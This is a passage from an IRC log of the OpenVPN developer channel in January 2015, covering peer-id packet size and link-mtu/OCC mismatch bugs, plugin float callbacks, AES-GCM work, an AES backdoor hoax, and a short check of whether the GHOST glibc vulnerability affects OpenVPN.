"leeway" that we do not have otherwise? 14:09 <@syzzer> if the mismatch is 3 bytes or more, CBC might cause packets to never actually hit this limit 14:09 <@syzzer> cron2: well, depends on your MTU. Though I reproduced with BF-CBC 14:12 < lev__> hm, I don't see it 14:13 <@syzzer> hmm, interesting 14:13 < lev__> cron2: client12 is up and running, can you ping me 14:13 <@cron2> compression? 14:13 < lev__> lzo 14:13 <@syzzer> good point. I had compression disabled 14:14 <@syzzer> that is, no 'comp' in the config file at all 14:14 <@cron2> pinging you, no effect, but compression enabled 14:17 <@syzzer> this was my test server config: http://pastebin.com/CqnSZ0tU 14:21 < lev__> my config: http://pastebin.com/kXTVxnkR 14:22 < lev__> hurray! 14:23 < lev__> packet too large on write, no compression, ping from server to client, warning on client side 14:23 <@syzzer> yes, sounds familiar :) 14:25 < lev__> so both client and server need fix 14:25 < lev__> or just client, since only it writes P_DATA_V2 ? 14:26 <@cron2> 2.3 is client, master is client and server, so it does not really matter - both trains need fix 14:26 <@cron2> (and I assume that a fixed client sending to an unfixed master will lead to an error on the other end9 14:30 <@syzzer> no, since the server still sends P_DATA_V1 packets (I think) 14:30 <@cron2> no, on reception, because the receive buffer will also not be large enough 14:31 <@cron2> so, if both are unfixed, client will drop the packet and not send it - but if client is fixed, server might(!) drop on reception 14:31 <@syzzer> oh, right - I should not try to correct you on networking stuff :p 14:31 <@cron2> I'm not sure, just suspecting :) 14:36 < lev__> ok reproduced with linux client, previously it didn't have peer-id enabled. Let me apply the fix and try again 14:46 < lev__> syzzer: ackd 14:47 <@syzzer> lev__: thanks :) 14:47 <@syzzer> so you did have to patch both sides to fix it? 14:48 < lev__> I patched both sides, haven't tried just one 14:59 < lev__> client12: IP packet with unknown IP version=15 seen 15:00 <@cron2> that is compression 15:00 <@cron2> shall I restart without? 15:01 < lev__> nope, I'll enable it back 15:07 <@syzzer> time for waterpolo training, good night guys! 15:26 <@vpnHelper> RSS Update - gitrepo: Account for peer-id in frame size calculation <https://github.com/OpenVPN/openvpn/commit/f95010ad247a8998e0c39e394236251fca316849> 15:35 <@plaisthos> cron2: I could also patch master not send V2 is IV_PROTO=2 and VER <=2.3.6 15:35 <@plaisthos> ugly but would work ... 16:09 <@cron2> plaisthos: let's get 2.3.7 out quickly and hope that no major distribution etc will stick to 2.3.6... 16:10 <@cron2> (and I think that the chance of this happening in reality is really low - client->server is usually smaller packets anyway, or at least compressible stuff...) 16:11 <@cron2> anyway, I'm open for arguments or patches :-) - just need to go to bed *now* 16:24 -!- mattock is now known as mattock_afk 21:12 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] --- Day changed Sat Jan 24 2015 02:34 -!- mattock_afk is now known as mattock 03:04 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:25 -!- mattock is now known as mattock_afk 08:04 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 276 seconds] 08:06 -!- mattock_afk is now known as mattock 09:17 -!- ender| [~ender1@93-103-210-183.dynamic.t-2.net] has joined #openvpn-devel 09:30 -!- ender| [~ender1@93-103-210-183.dynamic.t-2.net] has quit [Ping timeout: 252 seconds] 09:38 -!- yeik [~jeff@c-76-23-46-182.hsd1.ut.comcast.net] has joined #openvpn-devel 09:38 < yeik> why do we use wsasendto vs sendto in windows? 10:12 <+krzee> https://community.openvpn.net/openvpn/ticket/49 10:12 <@vpnHelper> Title: #49 (--float does not work with --server) – OpenVPN Community (at community.openvpn.net) 10:12 <+krzee> cron2, in the final post, you mentioned --tls-float, you just meant --float right? i dont see --tls-float in the manual 11:24 <@syzzer> krzee: --tls-float was an option from an older (NACK'ed) patch 11:25 <@syzzer> the new peer-id stuff Just Works (tm) 11:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:03 -!- mattock is now known as mattock_afk 15:14 <@cron2> krzee: what syzzer said :-) 15:14 <@cron2> (except when it does not work) 18:43 -!- yeik [~jeff@c-76-23-46-182.hsd1.ut.comcast.net] has quit [Quit: Leaving] 19:47 <+krzee> ahh i see =] 20:16 -!- Netsplit *.net <-> *.split quits: lev__, +novaflash 20:21 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 20:21 -!- shivanshu_ [~shivanshu@104.131.8.15] has joined #openvpn-devel 20:25 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:29 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 244 seconds] 20:29 -!- shivanshu_ is now known as shivanshu 20:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 244 seconds] 20:35 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:49 -!- Netsplit *.net <-> *.split quits: shivanshu, @syzzer, @dazo 20:50 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 20:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:56 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 20:56 -!- dazo_afk is now known as dazo 20:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:59 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:09 -!- pasik [pk@reaktio.net] has quit [Ping timeout: 250 seconds] 21:13 -!- defrio [d18d37ed@gateway/web/cgi-irc/kiwiirc.com/ip.209.141.55.237] has joined #openvpn-devel 21:13 < defrio> question, my VPN provider says their nodes are encrypted but the OpenVPN config file has "cipher none". Can it still be encrypted with "cipher none"? 21:14 < defrio> I looked at the traffic with WireShark, but I can't tell the difference between encrypted and compressed traffic. 21:21 -!- defrio [d18d37ed@gateway/web/cgi-irc/kiwiirc.com/ip.209.141.55.237] has left #openvpn-devel [] 23:13 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:13 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:40 -!- floppym_ is now known as floppym --- Day changed Sun Jan 25 2015 02:33 -!- mattock_afk is now known as mattock 07:50 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-himskgcqomgcrfuv] has joined #openvpn-devel 09:53 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-himskgcqomgcrfuv] has quit [Ping timeout: 245 seconds] 10:00 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-pbxlnjwqxyuxxqgg] has joined #openvpn-devel 11:15 -!- Netsplit *.net <-> *.split quits: lev__ 11:38 -!- Netsplit over, joins: lev__ 13:18 <@cron2> if it says "cipher none" it is not encrypted - the handshake and client authentication will be (that's tls-cipher...) but the data packets will only be compressed (if at all) 13:23 <@cron2> syzzer: I trust you have seen this one? https://twitter.com/_coreDump/status/559096710677667842 13:23 <@vpnHelper> Title: Chilik Tamir חיליק on Twitter: "Excellent research, a new vulnerability in #AES, and how to fix it by @mjos_crypto https://t.co/eV04zAAN72 http://t.co/ILm7vvsacD" (at twitter.com) 13:30 <@syzzer> cron2: no, I have not actually... 13:30 <@syzzer> 'In this note we show that a key component of AES in fact contains a backdoor the allows the Belgian Government and The Catholic Church (the forces behind Rijndael / AES design, who obviously hid the backdoor in the cipher) to secretly eavesdrop on all AES communications. This is why the National Security Agency has been actively promoting the use of AES in public networks.' 13:31 <@syzzer> well, does not sounds very plausible at all. "Let's use something we know the Belgians can eavesdrop on!" 13:32 <@cron2> yeah, well, that is spook theory, but maybe the math is still valid (one of my colleagues claims so, but I mainly know him as sysadmin, not so much as crypto geek) 13:40 <@syzzer> I'm not very good at the math part, so I don't dare to make any statements there, but if this was true, I would expect lots of crypto blogs to say something about it. None of them seem to do so. 14:01 <@syzzer> lets see what my actual crypto knowledgeable colleagues have to say about this tomorrow, but for now I'm considering it a hoax. 14:15 <@cron2> looking forward to hear more :-) (yeah, there are quite brilliant mathematical proofs for "1=2" which look all legit until you spot the faulty step...) 14:42 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-pbxlnjwqxyuxxqgg] has quit [Ping timeout: 265 seconds] 15:09 <@syzzer> cron2: here we go: https://twitter.com/mjos_crypto/status/559128639426797568 15:09 <@vpnHelper> Title: M-J O Saarinen on Twitter: "After being contacted by a journalist (!!), I should point out what all cryptographers know: KALE is a submission to https://t.co/xdtJ0pUz02" (at twitter.com) 15:13 -!- mattock is now known as mattock_afk 15:25 < lev__> Spendon Gavekort, Vakiopaine Bar (real bar in Jyväskylä), c'mon! 15:27 <@syzzer> yeah, I suspected that people who speak finnish would be able to call the hoax easier ;) 15:27 <@syzzer> btw, for those interested, after having mailed back-and-forth with James regarding AES-GCM, I just pushed out a new branch: https://github.com/syzzer/openvpn/tree/aead-cipher-modes8 15:27 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes8 · GitHub (at github.com) 15:28 <@syzzer> (not yet ackable material I think, but as a heads up) 15:37 <@cron2> syzzer: thanks for the twitter, and hooray on the AES-GCM :-) - does it talk to OpenVPN 3 already? 16:50 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-rzjgbjpfijqkfmlz] has joined #openvpn-devel 18:55 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-rzjgbjpfijqkfmlz] has quit [Quit: Connection closed for inactivity] --- Day changed Mon Jan 26 2015 00:40 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 00:44 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 00:57 -!- mattock_afk is now known as mattock 02:01 <@mattock> who could attend a meeting today, if I arrange one? 02:02 <@mattock> it'd be good to complete d12fk's patch review a.s.a.p. 02:02 <@mattock> then there's the OS X patch which requires an ACK - not sure if more discussion is needed of if v3 is final 03:11 <@mattock> cron2, syzzer: the --enable/--disable-ssl flags have now been removed from buildbot 03:44 <@cron2> this will save so much co2 :-) 03:44 <@cron2> mattock: I'm around, but this is really very much James territory with the new management command 03:44 <@cron2> so if James can attend, I'll be there 03:58 <@mattock> cron2: ok, good 03:59 <@mattock> d12fk: can you make it today? 03:59 <@mattock> if not, there's little point in arranging a meeting I think 03:59 <@mattock> cron2: what are you thoughts about the latest incarnation of OS X keychain patch? does it require more discussion or just an ACK? 04:24 -!- ayaka [~ayaka@120.32.115.113] has joined #openvpn-devel 04:25 < ayaka> Hi, I want to join a new mode into openvpn, using statickey encrypt handshake 04:25 <@cron2> mattock: have not looked into the code. It's the right idea, as in "make a dedicated command to handle this" instead of "massacre an existing interface to get it to do something new, sacrifying $memory in the process" 04:25 < ayaka> should I add a new issue in trac? 04:25 <@cron2> but this is really James-territory 04:25 <@cron2> akaya: just don't 04:26 <@cron2> akaya: we already have too many different operational modes, which confuses users quite a lot - and makes maintenance and testing quite hard 04:26 <@cron2> (static-key p2p, tls p2p, tls p2mp, if I have not forgotten anything) 04:27 <@cron2> tls really isn't hard to set up - and if you want "static" you can give all your users the same certificate and tell the server to permit that ("--duplicate-cn") 04:28 < ayaka> cron2, no I want to be against with firewall 04:28 <@cron2> ayaka: what? 04:28 <@cron2> this is yet another "obfuscate the openvpn protocol so the firewall won't discover you"? 04:29 < ayaka> yes 04:29 < ayaka> obfsproxy doesn't a good idea for me 04:29 <@cron2> obfsproxy is a very good idea, as it already does all this :-) 04:29 <@cron2> (and it's code *we* don't have to maintain) 04:29 < ayaka> as it is a python program but my router doesn't have much space to hold python program 04:30 <@cron2> well, recoding obfsproxy (or something else that does the same thing) in C is always possible, and keeping this outside OpenVPN is also a good idea - it's way more flexible to use, and much easier to maintain and debug 04:31 < ayaka> I don't know there are many modes for openvpn, is there some docs describe that? 04:32 <@cron2> well, the openvpn wiki, a number of openvpn books. The man page is more a reference manual, not so much an intro document 04:33 < ayaka> I am afraid I can't find the what is the p2mp in wiki 04:35 < ayaka> I am afraid I can't find the what the p2mp is in wiki 04:46 < ayaka> cron2, well, it is really confused, not all of them are decided by topology 04:59 <@cron2> p2mp is point-to-multipoint, aka "one server, many clients" 05:00 <@cron2> --topology is just controlling the submodes of p2mp mode, how IP addresses are assigned 05:03 < ayaka> cron2, I know it is one server, manly clients, I think it is the solution be used most widely 05:04 < ayaka> but I find it is similar to tls p2p 05:18 <@cron2> on a TLS level, yes, but on the server side what is going on inside OpenVPN is very different (option pushing, IP management, ..) 05:23 < ayaka> cron2, I see thank you 06:32 <@d12fk> mattock: no. i'm on the road at that time 07:31 <@mattock> d12fk: ok 07:31 <@mattock> d12fk: when/on which day would you be available? 07:32 <@d12fk> mattock: next monday should work 08:15 <@mattock> ok, let's arrange a meeting then 08:27 <@mattock> then = next Monday :) 10:08 -!- segoon [~vasya@ppp83-237-24-217.pppoe.mtu-net.ru] has joined #openvpn-devel 10:09 < segoon> is IRC meeting planned today? 10:09 <@mattock> segoon: nope, next monday 10:09 < segoon> mattock: ok, thanks 10:09 <@mattock> we should discuss your patch, though, but that doesn't have to be in an official meeting 10:12 -!- segoon [~vasya@ppp83-237-24-217.pppoe.mtu-net.ru] has quit [Client Quit] 11:20 < lev__> does plugin callback for floating sound like useful feature? 11:27 <@syzzer> lev__: like, notifying a plugin upon float? or asking permission to float? 11:28 <@syzzer> do you have a use case in mind already? 11:28 < lev__> syzzer: notifying 11:30 < lev__> syzzer: for example plugin could send an interim accounting message and we'll get various interim IP addresses logged 11:30 <@syzzer> hmm, don't know immediately... If people are using the plugin framework for keeping track of users it might make sense. but i think you have more experience with that side of openvpn than i have... 11:52 < lev__> I wonder if this needs a feature-ack, or can I just send a patch? It does not look like a big thing (yet). 12:04 <@cron2> lev__: which plugin function would that be? I don't know the plugins so well, only the script interface - and there we have --client-connect and --learn-address, both do not "truly" cover this case 12:11 < lev__> cron2: there are quite a few https://github.com/OpenVPN/openvpn/blob/master/include/openvpn-plugin.h#L114 even something called PLUGIN_IP_CHANGE (maybe that one can be used?). One can add something like OPENVPN_PLUGIN_CLIENT_FLOATED which gets old and new addresses 12:11 <@vpnHelper> Title: openvpn/openvpn-plugin.h at master · OpenVPN/openvpn · GitHub (at github.com) 12:11 <@cron2> interesting 12:12 * cron2 defers to dazo on whether that's a good idea and how to tackle it (dazo designed the new plugin API and actually uses this, my machines are so low-volume that scripts are good enough for me, and easier hacked) 12:54 <@pekster> I'm wondering if we might want to expose the clientID bit as an env-var to scripts, and in the status output 12:54 <@cron2> it's in the status output :) 12:54 <@cron2> 1b9541922ad6ff6ee46c84f43cd23b7064f7919d 12:55 <@cron2> env-var might be something to think about - but with any new code: what would you want to use it for? 12:56 <@pekster> Tying the connect event the status lines (mainly for people interested in pairing the stauts output with the connect event, like session-loggers) 12:56 <@pekster> tying the connect event *to* the status lines 12:56 <@cron2> the float event? 12:56 <@pekster> No, the actual connected client, via --client-connect hook 12:57 <@pekster> Otherwise, say a single CN connects twice in the same second (can't use the CN/connect time_t as they're identical here.) Then one (or both) float before the --status output; you now can't match them up 12:59 <@cron2> I'd never use multiple clients with the same CN, tbh :) 13:00 <@pekster> Right, but I can't assume that generally (and I have such a session-logger, hence the interest.) If we don't have an env-var already, that should be a trivial thing to patch, and a good excuse to look at this feature in more detail 13:03 * dazo looks up 13:06 <@dazo> lev__: there is a hook already for OPENVPN_PLUGIN_LEARN_ADDRESS, which is given an argument string "add", "delete" or "modify" ... maybe look into extending that? I can at least say that for the eurephia plug-in, getting this float information would be useful 13:07 <@dazo> LEARN_ADDRESS is mainly focused on IP addresses passing over the VPN tunnel ("this IP address via the VPN tunnel belongs to client XYZ") 13:08 <@dazo> I agree with pekster 13:09 <@dazo> and we have often users using the same CN ... Even I use it occasionally, but couple I couple certificates with username/password auth 13:12 <@dazo> lev__: maybe an argument string to LEARN_ADDRESS could be "client-float" 13:56 <@pekster> We should also include the status file change in the release-notes because it might in theory break scripts (those parsing from the right, or similar configurations.) 13:57 <@pekster> That, or bump the version number to include it, but that might be excessive and unnecessary 14:06 <@cron2> pekster: release notes, I do not object. Bump version number: no 14:07 <@cron2> see the comments to commit ca18a638aa7cf316611f893127ba44131e57083c 14:07 <@cron2> if scripts are broken, they deserve to be broken - the format has headers that identify which columns are what, and this is what needs to be used (and why status 2/status 3 exist in the first place, to be more flexible in the output without having to maintain 473 status printing routines in the code forever) 14:10 <@pekster> cron2: yea, that makes sense. Do we have a description of that file-format anywhere? I didn't see a defined description in the manpage or management-notes; I'm happy to write one up if we don't have that yet 14:11 <@pekster> Not documenting the fields per-se, but an API description so consumers know what to expect 15:35 -!- mattock is now known as mattock_afk 15:49 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 15:49 < djc> syzzer: any progress on https://community.openvpn.net/openvpn/ticket/502? 15:49 <@vpnHelper> Title: #502 (SSL3_GET_RECORD:bad decompression) – OpenVPN Community (at community.openvpn.net) 17:12 < lev__> dazo: thanks, I'll look into LEARN_ADDRESS 19:17 -!- dazo is now known as dazo_afk 22:57 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-mjtdxpqywklmbqxj] has joined #openvpn-devel --- Day changed Tue Jan 27 2015 00:10 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-mjtdxpqywklmbqxj] has quit [Quit: SMD] 00:50 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 00:56 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 255 seconds] 01:03 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 01:14 -!- mattock_afk is now known as mattock 03:17 <@syzzer> djc: no, sorry. i 03:17 <@syzzer> i 03:17 <@syzzer> i've been spending my time on other stuff 03:17 <@syzzer> (aargh, fingers off-by-one...) 03:26 -!- mattock is now known as mattock_afk 04:19 -!- ayaka [~ayaka@120.32.115.113] has left #openvpn-devel ["离开"] 05:06 -!- mattock_afk is now known as mattock 05:33 -!- dazo_afk is now known as dazo 09:14 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 252 seconds] 09:15 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 09:48 <@cron2> pekster: there might be something in doc/management-notes.txt (or whatever it is called) 10:18 -!- djc [~djc@gentoo/developer/djc] has quit [Ping timeout: 276 seconds] 10:18 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 276 seconds] 10:29 -!- mattock is now known as mattock_afk 10:34 -!- mattock_afk is now known as mattock 10:36 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:39 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 10:39 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:10 <@plaisthos> Yeah! My app reaches 1 million downloads :) 11:11 <@plaisthos> (and has 245k installs 11:19 -!- p-trust [~dep-k@unaffiliated/p-trust] has joined #openvpn-devel 11:26 -!- mattock is now known as mattock_afk 11:27 < esde> plaisthos, o/ 12:04 -!- p-trust [~dep-k@unaffiliated/p-trust] has quit [Quit: Leaving] 12:18 < esde> Does/Will this exploit effect openvpn? http://www.openwall.com/lists/oss-security/2015/01/27/9 12:18 <@vpnHelper> Title: oss-security - Qualys Security Advisory CVE-2015-0235 - GHOST: glibc gethostbyname buffer overflow (at www.openwall.com) 12:43 <@syzzer> esde: no, our source does not reference gethostbyname(), or gethostbyname2() 12:43 < esde> thank you :) 12:44 <@syzzer> (but strangely enough, our ./configure does check its existence...) 12:50 <@syzzer> esde: ah, openvpn 2.1 *does* use it 12:50 <@syzzer> as of 2.2 we got rid of it 12:51 < esde> (apparently) smart move! :P 12:51 <@syzzer> :q 13:13 -!- mattock_afk is now known as mattock 14:19 -!- mattock is now known as mattock_afk 14:23 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 14:32 -!- Netsplit *.net <-> *.split quits: @pekster 14:47 -!- _bt_ [~bt@mongs.yotm.com] has quit [Quit: bye] 15:08 -!- pekster_ is now known as pekster 15:40 <@plaisthos> hm 15:40 <@plaisthos> something is screwed up in my new version or openvpn -master 15:45 <@plaisthos> 2015-01-27 22:40:17 Ignoring multicast route: 0.0.0.0/0 15:45 <@plaisthos> it is me ... :/ 15:59 <@dazo> whoops! :) 17:15 -!- dazo is now known as dazo_afk --- Day changed Wed Jan 28 2015 01:38 -!- mattock_afk is now known as mattock 02:05 <@vpnHelper> RSS Update - tickets: #504: Routing table change should either be complete, or not change at all <https://community.openvpn.net/openvpn/ticket/504> 03:09 -!- mattock is now known as mattock_afk 04:59 -!- mattock_afk is now known as mattock 05:10 -!- mattock is now known as mattock_afk 05:23 -!- mattock_afk is now known as mattock 05:28 -!- dazo_afk is now known as dazo 05:46 <@vpnHelper> RSS Update - tickets: #505: BSOD on Windows 8.1 client when issuing a ping with windows vista client software <https://community.openvpn.net/openvpn/ticket/505> 05:51 <@plaisthos> syzzer, lev__: I think your change broke occ checking 05:51 <@plaisthos> I got this from a user http://plai.de/.tmp/Screenshot_2015-01-28-17-00-57.png 05:51 <@vpnHelper> RSS Update - tickets: #506: Guidelines To Follow Before Using Lipotol And Colonox <https://community.openvpn.net/openvpn/ticket/506> 05:53 <@plaisthos> server is openvpn-as 06:04 <@dazo> I see cron2 reacted similar to me on openvpn-users ... :) 06:12 <@plaisthos> (what is link-mtu anyway? And why it is 1542?) 06:17 <@dazo> plaisthos: link-mtu is the MTU of packets pushed out to the tcp/udp socket ... tun-mtu is the MTU of the packets inside the tunnel, pushed to the tun/tap adapter 06:32 <@plaisthos> ah okay 06:33 * plaisthos has no idea how to fix this :/ 06:33 <@plaisthos> at least not easily 07:08 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 08:41 <@syzzer> plaisthos: that is just a warning - as long as nobody actually sends P_DATA_V2 packets, this should not be an issue 08:41 <@syzzer> at least at first sight, I expect the 'AUTH FAILED' to be unrelated 08:42 <@syzzer> oh, no I get it this is of someone does 'strict OCC checking' 08:44 <@syzzer> so then we'd have to make the link-mtu conditional on a per-client basis on whether the connection is peer-id enabled :/ 09:25 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 10:57 <@plaisthos> syzzer: yeah. and the client should report what to the server? Always the link-mtu without v2 padding? 11:01 < lev__> luckily I don't know what is OCC 11:02 <@plaisthos> Expected Remote Options stuff 11:02 <@plaisthos> Jan 28 17:25:25 hermes ovpn-udp[1907]: hebe.blinkt.de/131.234.242.79:1194 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1558', remote='link-mtu 1561' 11:06 < lev__> so if something called "strict OCC checking" enabled and two sides have different MTU values, we got AUTH_FAILED ? 11:33 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:33 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 13:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:47 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 13:49 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 13:49 -!- dazo_afk is now known as dazo 14:48 -!- mattock is now known as mattock_afk 14:58 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-tgkvxpukyuvdxgju] has joined #openvpn-devel 15:02 -!- `^-_-^` is now known as ampsix 15:02 -!- ampsix [uid26275@gateway/web/irccloud.com/x-tgkvxpukyuvdxgju] has quit [Changing host] 15:02 -!- ampsix [uid26275@unaffiliated/ampsix] has joined #openvpn-devel 15:02 -!- ampsix [uid26275@unaffiliated/ampsix] has quit [Changing host] 15:02 -!- ampsix [uid26275@gateway/web/irccloud.com/x-tgkvxpukyuvdxgju] has joined #openvpn-devel 15:04 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 15:16 <@syzzer> lev__: yes 15:16 <@syzzer> when the data channel is set up, openvpn exchanges an 'options string', containing stuff like cipher, auth, and mtu values 15:19 <@syzzer> see options_cmp_equal_safe() in options.c 15:20 <@syzzer> if ENABLE_STRICT_OPTIONS_CHECK is defined during compile time, openvpn enforces that those strings match 15:21 <@syzzer> plaisthos: good point. I guess a client would have to do that, at least for now... 15:22 <@syzzer> or, wait, a client receivers IV_PROTO (or not) before it sends the option string, right? 15:35 <@cron2_> syzzer: a) IV_PROTO (etc) is coming in right with the username and password 15:37 <@cron2_> b) OCC check is controlled by command line argument (--disable-occ and --opt-verify) - and you need to specify the latter to actually *enforce 15:37 <@cron2_> *enforce* it 15:38 <@cron2_> (unfortunately I missed the parts of the discussion before 18:30) 15:38 < esde> what time zone was 16:30, i can provide scrollback, if needed 15:38 < esde> *18:30 15:39 < esde> (assuming you meant in this IRC channel) 15:39 <@cron2_> GMT+1, basically between cron2 leaving and cron2_ reentering :) 15:40 <@cron2_> yes 15:40 <@cron2_> lev__ and plaisthos said something syzzer answered and I'm curious :) 15:41 <@plaisthos> cron2_: occ check fails because of the patch for data_v2 padding 15:41 <@plaisthos> Jan 28 17:25:25 hermes ovpn-udp[1907]: 15:41 <@plaisthos> hebe.blinkt.de/131.234.242.79:1194 WARNING: 'link-mtu' is 15:41 <@plaisthos> used inconsistently, local='link-mtu 1558', 15:41 <@plaisthos> (argh) 15:41 <@plaisthos> remote='link-mtu 1561' 15:41 <@plaisthos> http://plai.de/.tmp/Screenshot_2015-01-28-17-00-57.png 15:41 <@cron2_> argh 15:41 <@plaisthos> cron2_: and it fails some server 15:41 <@plaisthos> the user of the screenshot says the server is openvpn as 15:42 <@cron2_> plaisthos: is this in OpenVPN for Android "release"? Or beta channel? 15:43 < esde> Sorry i couldn't provide logs more quickly. I just realized ZNC didnt preserve part/joins, I was hunting for a part that just wasnt there in my client scrollback, lol 15:44 <@cron2_> esde: thanks anyway :) 15:44 <@plaisthos> cron2_: beta channel at the moment 15:44 <@plaisthos> I don't want to push that to release 15:44 <@cron2_> understandably 15:46 * cron2_ wonders WTH "link-mtu" is, anyway 15:46 <@plaisthos> 13:12:19 <@plaisthos> (what is link-mtu anyway? And why it is 1542?) 15:46 <@plaisthos> 13:17:43 <@dazo> plaisthos: link-mtu is the MTU of packets pushed out to the tcp/udp socket ... tun-mtu is the MTU of the packets inside 15:46 <@plaisthos> the tunnel, pushed to the tun/tap adapter 15:47 <@cron2_> lol 15:48 <@cron2_> but yeah, I can see why this should be the same on both sides, I just have no idea how to get there. We could just lie in OCC, or leave link-mtu *out* (and send tun-mtu instead, which is a much more realistic thing - as link-mtu is usually tun-mtu + <fixed number> anyway) 15:49 -!- ampsix is now known as amp6 15:50 -!- amp6 [uid26275@gateway/web/irccloud.com/x-tgkvxpukyuvdxgju] has quit [Quit: lulz] 15:51 <@cron2_> Wed Jan 28 22:51:19 2015 us=514750 AUTH: Received control message: AUTH_FAILED 15:52 < lev__> reproduced problem by adding opt-verify to server config, client12 got kicked 15:52 <@cron2_> yeah, Lev__'s server is also doing this to me 15:52 <@cron2_> heh :) 15:53 <@cron2_> given that I'm in Milano right now and have no real time or brains for anything - I'd put that on the Agenda for Monday and ask James for suggestions... 15:54 <@plaisthos> I will proably not have time mondays anymore I am afrad :/ 15:55 <@plaisthos> I think lying is our only option 15:56 <@plaisthos> or do not make data v2 autonegioatated anymore 15:56 <@plaisthos> and put it into server and client config like with compression 15:56 <@plaisthos> (which is more stupid) 15:57 < lev__> can something bad happen due to mtu inconsistency (besides warning) ? 15:57 <@cron2_> in theory, it could just Not Work 15:57 <@cron2_> (clients sending packets that are too big for server, so gear on the way drops it) 16:00 <@cron2_> plaisthos: problem with lying is (as usual) that it backfires - so what if VPN provider gives you a config that has explicit --link-mtu in it? then you need to send that "as is" - and use what, internally? 16:01 <@plaisthos> we need to define what link-mtu should actually do in the v2 case 16:01 <@plaisthos> as of now it is v1 link-mtu + 3 16:01 <@cron2_> "specifies 3 bytes less than the maximum packet size OpenVPN can send!" *duck&run* 16:01 <@plaisthos> :D 16:02 <@cron2_> anyway - need to get some sleep, will check tomorrow whether you found a good solution or hack around this :) 16:10 <@syzzer> tbh, i don't get why link-mtu *has* to be the same. assymmetric MTUs are possible, right? 16:11 <@syzzer> the only that that you need is that at both sides the buffers are at least link-mtu bytes 17:06 -!- dazo is now known as dazo_afk 18:46 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 18:52 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Thu Jan 29 2015 01:25 -!- mattock_afk is now known as mattock 02:08 <@cron2_> syzzer: well, in theory, not, but in practice usually things are symmetric - because the maximum what one side can send is usually also the maximum it can receive 02:08 <@cron2_> anyway, I've spent a few thoughts on it this morning 02:08 <@cron2_> one possible hackaround would be to revert the "+3" patch, and change the code to only send V2 packets "if they fit in" and V1 otherwise 02:10 <@cron2_> given that V2 is today sent client->server only, and that this direction is usually ACKs, key presses, GET / requests, there is enough small packets to make floating still work - drawback is that we'll have to keep V1 packets with their misalignment around... 02:10 <@cron2_> syzzer: does the AEAD stuff require V2 packets? Or is this really "inside"? 02:21 <@plaisthos> cron2_: although we don't that at the moment we might want the server to switch to sending v2 (with -1 as session id) somewhere in the near future 02:21 <@cron2_> plaisthos: I understand that this is the long-term goal, I just wonder how to get there 02:22 <@cron2_> we can't break compatibility with old servers (or old clients), and lying in the link-mtu will also not be the right thing to do 02:22 <@plaisthos> the better question is what should link-mtu do with a new server/client? 02:23 <@plaisthos> also in regard to tun-mtu 02:23 <@cron2_> (just leaving it *out* might be a good idea, but is also not without issues - a service providers .ovpn might explicitely set it to the "old" value, reducing usable packet mtu by 3...) 02:23 <@cron2_> yes 02:24 <@plaisthos> at the moment tun-mtu + fixed (per config option set) = link-mtu 02:24 <@cron2_> yep 02:25 <@plaisthos> so we either need to make linux-mtu or tun-mtu to be not fixed anymore 02:26 <@cron2_> how would that work? For non-compressed packets, we know the exact overheard from 